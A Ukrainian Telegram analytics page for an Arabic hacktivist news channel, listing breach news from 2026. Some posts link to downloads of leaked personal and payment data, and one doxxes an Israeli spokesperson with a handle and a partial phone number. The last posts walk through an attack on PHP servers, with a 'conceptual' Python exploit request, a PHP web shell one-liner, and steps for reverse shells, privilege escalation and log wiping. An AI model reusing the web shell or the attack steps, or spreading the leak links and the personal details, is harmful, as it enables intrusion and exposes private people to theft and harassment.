Hacker News
Відкрити в Telegram
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
Показати більше📈 Аналітичний огляд Telegram-каналу Hacker News
Канал Hacker News (@hackernewsar) у мовному сегменті Арабська є активним учасником. На даний момент спільнота об'єднує 13 651 підписників, посідаючи 9 324 місце в категорії Технології та додатки та 5 589 місце у регіоні Саудівська Аравія.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 13 651 підписників.
За останніми даними від 31 жовтня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 334, а за останні 24 години на 1, загальне охоплення залишається високим.
- Статус верифікації: Не верифікований
- Рівень залученості (ER): Середній показник залученості аудиторії становить 12.12%. Протягом перших 24 годин після публікації контент зазвичай збирає 6.63% реакцій від загальної кількості підписників.
- Охоплення публікацій: В середньому кожен допис отримує 1 653 переглядів. Протягом першої доби публікація в середньому набирає 905 переглядів.
- Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 13.
- Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
Завдяки високій частоті оновлень (останні дані отримано 01 листопада, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.
13 651
Підписники
+124 години
+557 днів
+33430 днів
Завантажуємо дані
Схожі канали
Хмара тегів
Вхідні та вихідні згадування
---
---
---
---
---
---
Залучення підписників
листопад '26лист '26
листопад '26
+7
в 0 каналах
жовтень '26
+406
в 3 каналах
Get PRO
вересень '26
+145
в 1 каналах
Get PRO
серпень '26
+90
в 0 каналах
Get PRO
липень '26
+74
в 3 каналах
Get PRO
червень '26
+105
в 1 каналах
Get PRO
травень '26
+99
в 6 каналах
Get PRO
квітень '26
+123
в 5 каналах
Get PRO
березень '26
+365
в 9 каналах
Get PRO
лютий '26
+174
в 3 каналах
Get PRO
січень '26
+176
в 2 каналах
Get PRO
грудень '25
+122
в 4 каналах
Get PRO
листопад '25
+180
в 5 каналах
Get PRO
жовтень '25
+409
в 6 каналах
Get PRO
вересень '25
+290
в 8 каналах
Get PRO
серпень '25
+426
в 11 каналах
Get PRO
липень '25
+195
в 4 каналах
Get PRO
червень '25
+447
в 9 каналах
Get PRO
травень '25
+246
в 11 каналах
Get PRO
квітень '25
+728
в 9 каналах
Get PRO
березень '25
+333
в 21 каналах
Get PRO
лютий '25
+260
в 1 каналах
Get PRO
січень '25
+496
в 3 каналах
Get PRO
грудень '24
+357
в 14 каналах
Get PRO
листопад '24
+318
в 18 каналах
Get PRO
жовтень '24
+509
в 27 каналах
Get PRO
вересень '24
+608
в 24 каналах
Get PRO
серпень '24
+401
в 19 каналах
Get PRO
липень '24
+583
в 34 каналах
Get PRO
червень '24
+287
в 26 каналах
Get PRO
травень '24
+493
в 28 каналах
Get PRO
квітень '24
+677
в 39 каналах
Get PRO
березень '24
+631
в 25 каналах
Get PRO
лютий '24
+739
в 31 каналах
Get PRO
січень '24
+407
в 24 каналах
Get PRO
грудень '23
+416
в 19 каналах
Get PRO
листопад '23
+1 208
в 32 каналах
Get PRO
жовтень '23
+3 428
в 22 каналах
| Дата | Залучення підписників | Згадування | Канали | |
| 01 листопада | +7 |
Дописи каналу
Who is next after the breach of the DHS? 🕵️♂️
من التالي بعد اختراق وزارة الأمن الداخلي؟
#HackerNews #DepartmentOfPeace #Icepick
| 2 | أشارت النيابة العامة إلى أن تلك الهجمات لم تكن تهدف إلى التربح المالي المباشر، بل كانت تدار من قِبل أشخاص في الدائرة الضيقة للنظام السوري السابق بهدف نشر الدعاية، ومعاقبة وسائل الإعلام.
وترهيب المعارضين، إلى جانب محاولة اختراق موقع تجنيد مشاة البحرية الأمريكية (المارينز) لتوجيه الزوار إلى رسائل تحث الجنود على عصيان الأوامر العسكرية.
شملت لائحة الاتهام المرفوعة منذ سنوات شخصين آخرين، هما فراس دردار الذي لا يزال فاراً ومدرجاً على قوائم المطلوبين، وبيتر رومار الذي تم تسليمه سابقاً من ألمانيا وأقر بالتهم المرتبطة بالقضية عام 2016.
#HackerNews #Th3Pr0 | 752 |
| 3 |  إذا كانت خسارة باينانس لـ 6 مليار دولار تعتبر أكبر عملية اختراق في تاريخ العملات الرقمية فخذ نفسا طويلاً، لأن قصة الهاكر السوري "Th3 Pr0" الذي تسبب بخسارة البورصة لأكثر من 136 مليار دولار عادت اليوم للظهور. 📉
قضت اليوم محكمة فيدرالية في فرجينيا بسجن المواطن السوري أحمد عمر آغا (32 عاماً)، المعروف بالاسم المستعار "Th3Pr0"، لمدة 42 شهراً إثر إدانته بالانتماء إلى مجموعة "الجيش السوري الإلكتروني" وتنفيذ حملات اختراق واسعة النطاق لصالح نظام بشار الأسد. ⚖️
شملت العمليات التي تورط فيها آغا بين عامي 2011 و2024 اختراق حوالي 47 جهة ومؤسسة، تراوحت بين وسائل إعلام غربية، وشركات تجارية، ومنظمات غير حكومية، وهيئات حكومية أمريكية وغربية. 🌍
تعد حادثة اختراق وكالة الأنباء "أسوشيتد برس" في 2013 أشهر عملياته، حيث اخترق حساب الوكالة على منصة "تويتر" (إكس حالياً) ونشر خبراً كاذبا يزعم وقوع انفجارين في البيت الأبيض وإصابة الرئيس الأسبق باراك أوباما. تسبب هذا المنشور في اضطراب فوري وعنيف في بورصة وول ستريت، مما أدى إلى خسارة خاطفة بلغت 136 مليار دولار من قيمة الأسهم في مؤشر داو جونز الصناعي. 💥
#HackerNews #Th3Pr0 | 728 |
| 4 | الصدمة التقنية الكبرى كانت في كيفية سحب أموال بهذا الحجم رغم وجود أنظمة الحماية القائمة على التوقيع المتعدد (Multi-Sig):
• لم تُسرق المفاتيح الخاصة: أكدت التحقيقات أن المهاجمين لم يسرقوا المفاتيح الخاصة (Private Keys) للمحافظ الباردة أو الساخنة، وهو ما كان سيجعل استرداد الأموال مستحيلاً.
• تزييف بيئة العمل والموافقة: بدلاً من سرقة المفاتيح، استغل القراصنة وصولهم إلى نظام إدارة الهوية والصلاحيات الداخلي (IAM). قاموا بإنشاء برمجية خبيثة داخل الحاوية المخترقة تُمكّنهم من محاكاة طلبات سحب شرعية وتوجيهها إلى نظام "التوقيع الآلي" (Automated Signing Service).
• تخطي الحواجز الأمنية: نجحت هذه البرمجية في تزوير المعايير والشروط المطلوبة لتمرير المعاملات، مما جعل النظام الآلي يوقع على عمليات السحب الضخمة ظناً منه أنها أوامر برمجية داخلية معتمدة ومحدثة من فريق التطوير.
بمجرد خروج الأموال من محافظ بينانس، استخدم المهاجمون تكتيكات متطورة لتوزيعها ومحاولة إخفائها:
• العقود الذكية الخبيثة: قام المهاجمون بنشر عقود ذكية مخصصة (Custom Smart Contracts) على شبكات إيثريوم، وBNB Chain، وسولانا بشكل مسبق، واستخدموها كـ "مستودعات تجميع مؤقتة" لتوزيع الأموال المستحوذ عليها بسرعة فائقة (فلاش تداول).
• الجسور عبر الشبكات (Cross-Chain Bridges): تم تحويل الأصول على الفور عبر جسور لامركزية مجهولة الهوية لتشتيت مسار التحقيق بين عدة شبكات بلوكشين مختلفة في نفس الثواني.
• بروتوكولات الخلط (Crypto Mixers): تم تمرير مئات الملايين عبر أدوات خلط العملات لقطع إمكانية تتبع العناوين (رغم أن جهود التجميد نجحت في محاصرة حوالي 3 مليارات دولار منها قبل خلطها بالكامل).
للسيطرة على الهجوم وإيقاف النزيف، قام الفريق التقني لبينانس فوراً عزل وإبطال كافة صلاحيات الوصول والشهادات الرقمية الخاصة بالمهندس المتضرر والبيئة السحابية المحيطة به، وإعادة بناء الحاويات الأستراتيجية وتحديث نظام التوقيع المتعدد.
إليك أبرز المعلومات والقصص الهامة على هامش اختراق "بينانس":
🐋 حركة "الحوت" المجهول الذي أنقذ الموقف
• قبل إعلان بينانس الرسمي عن الاختراق، رصدت حسابات تتبع البلوكشين (مثل Whale Alert) حركة غريبة جداً لعملات مستقرة (USDT و USDC) يتم تحويلها بالمليارات من محافظ بينانس إلى عناوين مجهولة.
• هذا الرصد المجتمعي هو ما دفع شركات أمن البلوكشين لإطلاق الإنذار الأول، مما أجبر بروتوكولات العملات المستقرة على التحرك وتجميد نصف المبلغ قبل أن يتمكن المخترقون من سحبه أو غسيله بالكامل.
🎮 مهندس الـ DevOps.. ضحية "مكالمة توظيف وهمية"؟
• تشير تسريبات تقنية (لم تؤكدها بينانس رسمياً بعد، لكنها تتطابق مع أسلوب مجموعة Lazarus وكوريا الشمالية) إلى أن مهندس التطوير تم اختراقه عبر تكتيك الهندسة الاجتماعية.
• تلقى المهندس عرض عمل وهمي ومغري للغاية عبر منصة LinkedIn من شركة تقنية كبرى، وطُلب منه تحميل ملف (اختبار تقني)؛ وبمجرد تشغيل الملف على جهازه، تم زرع برمجية خبيثة سمحت للقراصنة بالتحكم في صلاحياته الإدارية داخل بينانس.
💸 مفارقة "رسوم الغاز" (Gas Fees) الخيالية
• لتسريع خروج الأموال وضمان عدم إيقاف المعاملات من قبل النظام، قام المخترقون بدفع رسوم شبكة (Gas Fees) قياسية وتاريخية عُدّت الأعلى في تاريخ شبكة إيثريوم وBNB لتمرير المعاملات في ثوانٍ معدودة قبل أن يتدخل مهندسو الأمن في بينانس.
📉 انتعاش المنصات اللامركزية (DEXs)
• على الهامش المالي، أدى قلق المستخدمين من المنصات المركزية بعد هذا الاختراق إلى هجرة جماعية مؤقتة للأموال نحو المنصات اللامركزية (مثل Uniswap و PancakeSwap)، حيث سجلت هذه المنصات قفزة بنسبة تتجاوز 40% في حجم التداول اليومي خلال ساعات من الحادثة، رغبةً من المستخدمين في الاحتفاظ بمفاتيحهم الخاصة بأنفسهم.
#HackerNews #Binance | 713 |
| 5 |  تعرضت منصة بينانس (Binance) لأكبر اختراق أمني في تاريخ العملات المشفرة 🚨، قُدّر بنحو 6.3 مليارات دولار. تسبب هذا الهجوم التاريخي في هزة عنيفة داخل أسواق الأصول الرقمية 📉، مما دفع العملات الكبرى لتتراجع.
تحركت منصة بينانس بشكل عاجل بالتعاون مع شركائها في قطاع البلوكشين 🤝 وتمكنت من تجميد ما يقارب 3 مليارات دولار من الأصول المتضررة لمنع تسييلها. وشمل ذلك قيام شركة "Tether" بتجميد نحو 1.57 مليار دولار من عملة USDT، وشركة "Circle" بتجميد أكثر من 800 مليون دولار من عملة USDC 🧊.
أظهرت التحقيقات الجارية حول اختراق منصة بينانس التاريخي 🔍 تفاصيل تقنية معقدة تكشف عن تخطيط سيبراني متقدم ومستهدف عُرف بـ "هجوم سلسلة التوريد الداخلية".
نجح المهاجمون في اختراق الجهاز المحمول الشخصي والعملي لأحد مهندسي التطوير والعمليات (DevOps) في بينانس والوصول إليه عن بُعد 📱، استغل القراصنة هذا الجهاز كوسيط للولوج إلى حاوية خدمات داخلية ضمن بيئة الحوسبة السحابية للمنصة ☁️. #HackerNews #Binance | 725 |
| 6 | فيما صرح "ستيفن ميلي"، الرئيس التنفيذي لشركة MBA Consulting Group للاستشارات المالية والسياسية، لوسائل الإعلام: "لم أرَ شيئاً كهذا طوال 26 عاماً من عملي.. النتيجة المباشرة هي أنه سيكون هناك إفصاح وشفافية أقل حول الانتخابات حتى يتم إصلاح النظام" 📉.
لجنة الانتخابات الفيدرالية (FEC) هي وكالة تنظيمية حكومية مستقلة في الولايات المتحدة، مهمتها الأساسية هي تنظيم والإشراف على شفافية عمليات تمويل جميع الحملات الانتخابية الفيدرالية التي تشمل سباقات رئاسة الجمهورية، ومجلس الشيوخ، ومجلس النواب 🇺🇸.
#HackerNews | 998 |
| 7 |  تعرض نظام الإيداع الإلكتروني للتقارير المالية التابع للجنة الانتخابات الفيدرالية الأمريكية (FEC) لتعطل بسبب هجوم إلكتروني 🛑، وذلك قبل أيام قليلة فقط من انطلاق انتخابات التجديد النصفي.
بدأ النظام بالخروج عن الخدمة مساء الاثنين 26 أكتوبر 2026. وأوضح مسؤول في الإيداعات الإلكترونية أن "جهة تخريبية (Bad Actor) حاولت اختراق الأنظمة" 🕵️♂️، مما دفعهم لتعليق الخدمات العامة مؤقتاً لحماية البيانات.
وصف "برندان جلافين"، مدير الأبحاث في مؤسسة OpenSecrets الرقابية، هذا العطل بأنه "أمر جلل" ⚠️، مضيفاً: "في الأيام الأخيرة من الانتخابات، هذه التقارير هي الطريقة الوحيدة المتاحة لنا لتتبع أين تتدفق الأموال ومن ينفقها".
#HackerNews | 973 |
| 8 | وأعلنت مجموعة القرصنة "وزارة السلام" (Department of Peace) مسؤوليتها عن العملية، وحصلت على البيانات عبر اختراق نظام تسجيل الدخول الموحد (Okta) التابع لوزارة الأمن الداخلي.
سلَّمت مجموعة القرصنة البيانات إلى موقع Distributed Denial of Secrets (DDoSecrets) المتخصص بنشر التسريبات لإتاحتها علناً على الإنترنت تحت قاعدة بيانات أطلق عليها اسم "Icepick".
#HackerNews #DepartmentOfPeace #Icepick للتحمـيل : https://ddosecrets.org/article/icepick | 885 |
| 9 | تعرضت وزارة الأمن الداخلي الأمريكية لاختراق إلكتروني 🚨، ونشرت مجموعة قرصنة قاعدة بيانات قابلة للبحث تحتوي على معلومات شخصية وتفاصيل وظيفية تخص أكثر من 40,000 موظف في الوزارة، من بينهم عناصر في وكالات أمنية حساسة.
شمل التسريب موظفين وعناصر في هيئة الجمارك وحماية الحدود (CBP)، وإدارة الهجرة والجمارك (ICE) (بما في ذلك عملاء يعملون بشكل سري)، بالإضافة إلى "مكتب تحقيقات الأمن الداخلي" (HSI) و"وكالة الأمن السيبراني وأمن البنية التحتية" (CISA)، حيث تضررت الوكالة المسؤولة عن حماية الأمن الرقمي للبنية التحتية الأمريكية نفسها من هذا التسريب.
والأخطر من ذلك بيانات موظفي جهاز الخدمة السرية (Secret Service) الذي ينحصر دوره في حماية الشخصيات البارزة في الحكومة، وتأمين رئيس الولايات المتحدة والمسؤولين الكبار.
تضمن التسريب الأسماء والمسميات الوظيفية، وعناوين البريد الإلكتروني، وقوائم المراسلات الرقمية الخاصة بمسؤولين وعناصر في الجهاز.
#HackerNews #DepartmentOfPeace #Icepick | 931 |
| 10 |  كابتن إيلا ، Hello, Captain Ella
#HackerNews #AnonymousSwitzerland | 1 244 |
| 11 |  كابتن إيلا، لطالما كنت تتبجِحين بقوة تكنولوجيا وتطور جيش الحفاظات الصهيوني الذي يجيد فقط قتـ.ل الأطفال بعد مشاهدة كرتون سبونج بوب، هذه المرة وقعتِ في الشبكة وتم الوصول لمعلوماتك الشخصية 🕸.
من خلال تعمق Anonymous Switzerland في جمع المعلومات وتتبع "إيلا واوي"، تمكنوا من الوصول إلى رقم هاتفها الشخصي، بالإضافة إلى أرقام جميع جهات الاتصال الخاصة بها، والوصول إلى معلوماتهم أيضًا ?? 🔍
اسم المستخدم في تطبيق تيليجرام: @ CaptainEllaa 📱
الرقم الشخصي ينتهي بستة وتسعين :
+9725294628XX 📞
#HackerNews #AnonymousSwitzerland | 4 503 |
| 12 | تسبب الاختراق في التأثير على ما يصل إلى 26,739 خادمًا سحابيًا 📡 تستأجرها فئة واسعة من المستثمرين لتشغيل أدوات التداول الآلي (مثل منصتي MT4 وMT5) ⚙️. وقد تسللت البرمجيات الخبيثة 🦠 لسرقة معرفات تسجيل الدخول وكلمات المرور، مما دفع منصات وشركات بروكير عالمية كبرى (مثل OANDA Japan) إلى تجميد عمليات سحب الأموال مؤقتًا كإجراء احترازي 🛑.
وأنشأ القراصنة موقعًا إلكترونيًا باللغة اليابانية أعلنوا فيه مسؤوليتهم، وهددوا بـ "تدمير حسابات العملاء" 💣، بل وأكدوا أنهم قاموا بالفعل بمحو أرصدة بعض الحسابات بعد رفض مجموعة GMO الانصياع لطلب الفدية المالية 💰.
مجموعة GMO Internet هي واحدة من كبرى عمالقة تكنولوجيا المعلومات والإنترنت 🌐، تعمل في مجال حجز النطاقات، والاستضافة والحوسبة السحابية، وبوابات الدفع الإلكتروني، والأمن السيبراني عبر شركة GlobalSign 🛡، كما تمتلك المجموعة أكبر منصة لتداول العملات الأجنبية (FX/Forex) في العالم 📈، وتدير كذلك منصة GMO Coin للعملات المشفرة 🪙.
#HackerNews #GMO_Internet #Vegeta | 1 531 |
| 13 |  تعرض العملاق التكنولوجي الياباني GMO Internet لاختراق ضخم طال ما يزيد عن 26 ألف خادمًا سحابيًا تستأجرها فئة واسعة من المستثمرين والشركات في اليابان وخارجها 🌐⚠️
وإثر ذلك أصدر "ماساتوشي كوماجاي" الرئيس التنفيذي لمجموعة GMO Internet اليابانية، تحذيرًا علنيًا لافتًا في تدوينة له أكد فيها أن "بنية الإنترنت بدأت بالفعل في الانهيار" 💻📉، وقامت GMO Internet بإيقاف تشغيل الخوادم المتضررة بالكامل.
وجه "كوماجاي" طلبًا عاجلاً ومباشرًا إلى الحكومة اليابانية لتفعيل نظام "الدفاع السيبراني النشط" (Active Cyber Defense) لأول مرة في البلاد 🛡🇯🇵، والذي يتيح للفرق السيبرانية التابعة للجيش والشرطة اختراق خوادم المهاجمين بشكل استباقي لشل حركتها وتحييد البنية التحتية للهجوم.
وذلك بعد تعرض خدمة الحوسبة السحابية "Onamae(.)com Desktop Cloud" التابعة لشركته لاختراق سيبراني واسع النطاق أدى إلى عمليات تداول فوركس (عملات أجنبية) غير مصرح بها وتدمير لأصول المستخدمين 💸🔓
#HackerNews #GMO_Internet #Vegeta | 1 356 |
| 14 |  تضمنت البيانات المسرّبة التي تجاوز حجمها 300 ميغابايت موادا حقيقية ومحدثة تشكل تهديداً أمنيا مباشراً لقادة الوحدات النخبوية 📂🔓، حيث يفرض الكيان الصهيوني تعتيماً كاملاً على قادة الوحدات النخبوية والحساسة أثناء فترة خدمتهم لأسباب أمنية وعملياتية 🛡.
كالوحدة 8200، ووحدة دوفديفان (Duvdevan - الوحدة 217)، ووحدة ألوموت (Alumot)، والوحدة 888 (وحدة الأشباح - رفافيم) 👻، ويُمنع على وسائل الإعلام الصهيونية تماماً نشر الأسماء الكاملة أو الصور الواضحة لهؤلاء القادة 📵.
#HackerNews #Handala | 1 437 |
| 15 |  كشفت مجموعة "حنظلة" عن الهوية الكاملة لقائد وحدة "يهالوم" الهندسية النخبوية "أميري أفيڤي" (Amiri Avivi) 🕵️♂️، ونشروا جدول أعماله المخطط للشهر المقبل، إلى جانب صور شخصية له ولأفراد عائلته 📸، وسربت وثائق حساسة تضع كبار ضباط الجيش الصهيوني في مرمى الخطر 🎯.
كذلك نشرت بيانات حول أنظمة روبوت عسكرية تابعة لسلاح المهندسين لم يُعلن عنها رسميا من قبل 🤖، وتفاصيل عن تطوير التقنيات العسكرية وإجراءات اعتمادها وضمت:
• أنظمة روبوت غير معلنة: شملت الوثائق بيانات وصور لمنظومات روبوت عسكرية قيد الاستخدام أو التطوير داخل سلاح المهندسين لم تكشف عنها وزارة الدفاع الصهيونية أو الجيش للعلن من قبل 📂.
• مراحل التطوير والاعتماد: تضمنت الملفات المسرّبة تقارير فنية ومستندات تشرح بالتفصيل "دورة حياة" هذه التقنيات، بدءا من مراحل التطوير الأولي، وصولا إلى إجراءات الاختبار والاعتماد الميداني لتدخل الخدمة العملياتية ⚙️.
• آلية عمل التكنولوجيا العسكرية: كشفت الأوراق عن معلومات حول الهندسة التقنية وكيفية دمج هذه الأنظمة مع بقية معدات سلاح المهندسين مثل آليات الحفر، أنظمة كشف الأنفاق، وأدوات التعامل مع المتفجرات 💣#HackerNews #Handala | 1 579 |
| 16 | للتحميل : https://disk.yandex.com/d/HHGBiQL8qIEzRA | 1 798 |
| 17 |  في عملية نوعية جديدة في قلب الاقتصاد الصهيوني، أعلنت مجموعة "حنظلة" اختراق شركة "OTech" المزود الرئيسي لأنظمة الدفع الإلكتروني ونقاط البيع (POS) داخل الكيان الصهيوني 🚨.
وفقاً للبيان الذي نشرته المجموعة حديثاً، فإن عملية الاختراق دامت على مدى سنوات دون أن تكشف، ما أدى لسحب وأرشفة كافة بيانات المستخدمين، والمعاملات المالية، والمراسلات الخاصة بالمتاجر والشركات التي يعتمد عليها الشريان المالي لعشرات الآلاف من الشركات والأفراد داخل الكيان 📊.
تم طرح قواعد بيانات قابلة للتحميل على موقع Yandex Disk بحجم يصل إلى 400 جيجابايت بعد فك الضغط، مقسمة لأكثر من 300 جزء 💾.
تتضمن البيانات المالية والشخصية لمليوني مستخدم صهيوني، وتتضمن الأسماء الكاملة، أرقام الهواتف المحمولة، العناوين البريدية، أرقام بطاقات الدفع الإلكتروني (البطاقات الائتمانية والبنكية مثل فيزا وماستركارد)، وسجلات المعاملات والاتصالات المالية للمتاجر والشركات المعتمدة على أنظمة الشركة 🏦.
#HackerNews #Handala | 1 939 |
| 18 |  حنظلة تتسلل لداخل ثكنات جيش الاحتلال الصهيوني 🕵️♀️
جيش الحفاظات يشاهد سبونج بوب 🧸
#HackerNews #Handala | 1 895 |
| 19 | • يبدأ المهاجم بتشغيل أدوات فحص داخلية للبحث عن ثغرات في نظام التشغيل نفسه (Kernel Vulnerabilities) للارتقاء بصلاحياته من مستخدم عادي إلى المستخدم الخارق (Root / Administrator)، وهو ما يمنحه السيطرة المطلقة على السيرفر بأكمله وليس الموقع فقط.
5. مسح السجلات والتخفي (Clearing Logs)
يقوم المهاجم بمسح سجلات الأخطاء وسجلات الوصول (Access Logs) التي قد تظهر الطلبات الغريبة التي أرسلها، لمنع مسؤولي الأمن (SOC Analysts) من اكتشاف الاختراق أو تتبع مصدر الهجوم.
بعد أن ينجح المهاجم في تثبيت وجوده داخل الخادم والحصول على الصلاحيات الكاملة، لا يتوقف عند مجرد الاختراق، بل ينتقل إلى مرحلة إلحاق الضرر المباشر وتحقيق المكاسب، تشفير البيانات وطلب الفدية أو سرقة وتفريغ قواعد البيانات، وأقل شيء يقوم به تشويه واجهة الموقع لأغراض سياسية أو نشر رسالة لإلحاق ضرر بالغ بسمعتها العامة.
#HackerNews #PHP2Shell #PHP | 2 231 |
| 20 | أولاً: كيف يجد المهاجمون الخادم المصاب؟ (آلية جمع الأهداف)
لا يبحث المهاجمون عن الموقع بالاسم، بل يعتمدون على أساليب مسح مؤتمتة واسعة النطاق (Mass Scanning):
1. محركات بحث البنية التحتية: استخدام منصات مثل Shodan و Censys للبحث عن الخوادم التي تعلن في الـ HTTP Headers الخاصة بها عن تشغيل لغة PHP (مثل لافتة X-Powered-By: PHP).
2. المسح الشامل لـ IPv4: استخدام أدوات فحص سريعة جداً مثل Masscan للتحقق من المنافذ المفتوحة (80 و 443) وإرسال طلبات فحص أولية لمعرفة نوع التقنية.
3. البحث عن الـ IP الأصلي: محاولة تجاوز جدران الحماية (مثل Cloudflare) عبر استغلال سجلات الـ DNS التاريخية للوصول المباشر إلى عنوان الـ IP الحقيقي للخادم وقصفه بالطلب الخبيث.
ثانياً: الهيكل المفاهيمي لطلب الاستغلال (Conceptual PoC)
تتميز هذه الثغرة بأنها تنجح في استغلال الخادم قبل أن يبدأ كود الموقع (مثل WordPress أو Laravel) في العمل، وتحديداً أثناء معالجة الخادم لعمليات رفع الملفات وتتبع الجلسات دون الحاجة لأي صلاحيات دخول (Unauthenticated).
لأغراض تعليمية، إليكم نموذج برمجي مبسط يوضح كيف يصيغ المهاجمون طلب الويب للتلاعب بذاكرة الخادم:
import http.client
def send_php2shell_educational_poc(host, port, path):
# إعداد الحدود العشوائية لطلب multipart لرفع الملفات
BOUNDARY = "----WebKitFormBoundaryPHP2Shell"
# صياغة محتوى الطلب الذي يستهدف ميزة تتبع رفع الملفات في PHP
body = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
f"exploit_trigger\r\n"
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="rawkey"; filename="payload.txt"\r\n'
f"Content-Type: text/plain\r\n\r\n"
f"Conceptual_Data_Padding_Here\r\n"
f"--{BOUNDARY}--\r\n"
)
# إرسال طلب POST الفردي غير المصادق عليه مباشرة إلى الخادم المستهدف
conn = http.client.HTTPConnection(host, port, timeout=10)
headers = {
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"Content-Length": str(len(body)),
"Cookie": "PHPSESSID=test_session_id"
}
conn.request("POST", path, body=body, headers=headers)
response = conn.getresponse()
print(f"[-] Status Received: {response.status}")
بمجرد أن ينجح المهاجم في إرسال طلب الويب الخبيث وإحداث خلل الذاكرة (Memory Corruption) المطلوب، تبدأ مرحلة التثبيت والسيطرة الفعلية. الطلب الأول يفتح الثغرة فقط، لكن الخطوات التي تليها مباشرة تهدف إلى تحويل هذا الاختراق العابر إلى وجود دائم ومخفي داخل السيرفر.
إليكم الخطوات المتتالية التي يتخذها المهاجم فوراً بعد نجاح ثغرة الذاكرة:
1. تشغيل الـ Payload الأولي (Execution Stage)
عندما ينهار محرك PHP داخلياً بسبب نفاد الذاكرة أو بقاء الحالة العالمية، يجبر المهاجم المعالج على القفز إلى العناوين البرمجية التي تحتوي على الكود الخاص به (Payload). غالباً ما يكون هذا الكود عبارة عن أمر نظام (System Command) بسيط مثل:
• على أنظمة لينكس: تشغيل أمر تحميل برمجيات أوسع عبر curl أو wget.
• على أنظمة ويندوز: تشغيل أمر عبر powershell أو cmd.
2. زرع "الباب الخلفي" المُلتحم بالويب (Dropping a Web Shell)
بما أن استغلال ثغرة الذاكرة معقد وقد لا ينجح في كل مرة، فإن أول هدف للمهاجم هو زرع ملف برميجي دائم (Web Shell) داخل مجلدات الموقع العامة (مثل مجلد الصور أو ملفات رفع المستخدمين).
• يقوم المهاجم بكتابة ملف خفي (مثلاً: image_thumb.php أو .system.php) يحتوي على سطر برمجي بسيط يتيح له التحكم بالسيرفر عبر المتصفح لاحقاً دون الحاجة لإعادة استغلال الثغرة، مثل:
<?php system($_GET['cmd']); ?>
3. إنشاء اتصال عكسي للمخترق (Reverse Shell)
لأن فتح الملفات عبر المتصفح قد تكتشفه جدران الحماية، يفضل المهاجمون المحترفون إنشاء اتصال عكسي. يقوم الخادم المخترَق (الموقع الحكومي أو الخاص) بفتح اتصال خارجي صادر (Outbound) والاتصال بجهاز المهاجم مباشرة.
• تكمن خطورة هذه الخطوة في أن معظم جدران الحماية للشركات تمنع الاتصالات الواردة (Inbound) لكنها تسمح بالاتصالات الصادرة من السيرفر إلى الإنترنت، مما يمنح المهاجم شاشة تحكم كاملة بـ الـ Terminal الخاص بالسيرفر.
4. فحص الصلاحيات ومحاولة الارتقاء بها (Privilege Escalation)
في الوضع الطبيعي، تعمل لغة PHP تحت صلاحيات مستخدم محدود جداً على السيرفر (مثل www-data أو apache). | 2 020 |
